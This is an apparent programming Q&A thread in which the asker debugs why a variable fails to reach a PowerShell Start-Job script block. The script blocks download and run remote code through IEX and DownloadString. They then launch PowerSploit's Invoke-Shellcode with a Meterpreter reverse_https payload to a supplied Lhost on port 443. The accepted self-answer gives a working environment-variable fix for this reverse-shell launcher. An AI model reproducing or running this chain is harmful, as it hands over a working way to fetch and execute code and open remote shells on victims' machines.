2
votes
$foo = @("string.here")

foreach ($num in $foo) {
    $s = { $WebClientObject = New-Object Net.WebClient
           IEX $WebClientObject.DownloadString('https://webserver/MyCommandlet.ps1')
           $temp = $args[0]
           MyCommandlet -Lhost "$temp"
           Write-Host "$temp"
         }

    $id = [System.Guid]::NewGuid()
    $jobs += $id   
    Start-Job -Name $id -ScriptBlock $s -args $num
}

Modified from this. Edit: removed unnecessary code for clarity.

MyCommandlet expects a variable (here -Lhost $temp) that is checked before being used (it should not be null or empty).

I am getting the following error message when trying to run the above script.

Invoke-Shellcode : Cannot validate argument on parameter 'Lhost'. The argument is null or empty. Provide an argument that is not null or empty, and then try the command again.


Edit: Invoke-Shellcode is the original Commandlet, which I'm referencing as MyCommandlet. I didn't want to include the full code for security reasons (in case people would run the script themselves). For more details, see the code here https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke--Shellcode.ps1

The original ScriptBlock would be something like (see the $temp variable)

{
   $WebClientObject = New-Object Net.WebClient
   IEX $WebClientObject.DownloadString('PAYLOAD_URL')
   Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $temp -Lport 443 -Force
}

Essentially, the variable is not passed to my MyCommandlet properly, whereas Write-Host $temp returns a non-null value (which is correct) in the same context. I understand that variables are not passed to other ScriptBlock, especially if it runs in a new job, but because Write-Host is able to read the value properly inside the job, there is something else that I must have missed.

As suggested by some posts, I have tried the following alternatives:

  • ...} -ArgumentList $temp (after the ScriptBlock) http://powershell.org/wp/forums/topic/passing-parameter-to-start-job/
  • {param($temp) ...} (at the beginning of the ScriptBlock)
  • Using Start-Job -ScriptBlock {...} directly, instead of a variable for the ScriptBlock. [scriptblock]::Create(...) to declare the ScriptBlock
  • Using Invoke-Command, instead of Start-Job but not only it does not work either (albeit working slightly differently), I would like to stick with Start-Job if possible.
  • I would like to avoid using Powershell V3.0 $using:variable feature. Plus, it did not work in the configuration I tried.

None of those worked for me.

1
Hi, have you tried declaring your variable in an initialization script for Start-Job ? Use -InitializationScript $initScript and declare in $initScript.sodawillow
Is Lhost the real name for variable?Mathias R. Jessen
If that is the case, change MyCommandlet -Argument "$temp" to MyCommandlet -Lhost $tempMathias R. Jessen
@sodawillow, no I haven't tried that. Will help propagating the variable to the commandlet I want to interact with ? It sounds like it's still gonna be referencing the variable somehow so I may hit the same problem.Kant
@MathiasR.Jessen Yeah, that's it. I have tried sanitising my code but left out this part, so it's confusing. I have edited the code to reflect this. Eiher way, yes I have tried it. And it does not work :(Kant

1 Answers

0
votes

I found a solution that works, which relies on using environment variables, such as $env:myvar. To tie it up to the question above, I have used this way:

$foo = 'string_var'
$env:temp_var = $($foo)      

$s = { $WebClientObject = New-Object Net.WebClient
       IEX $WebClientObject.DownloadString('PAYLOAD_URL')
       Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $env:temp_var -Lport 443 -Force -Proxy
       #Write-Host $env:temp_var
     }

$id = [System.Guid]::NewGuid()
$jobs += $id   
Start-Job -Name $id -ScriptBlock $s

# Clean-up
Remove-Item env:\temp_var

For more details on environment variables in Powershell, see https://technet.microsoft.com/en-us/library/ff730964.aspx

ps: It still doesn't make sense to me why the options suggested above don't work... If anyone has any explanation, it would be most welcome.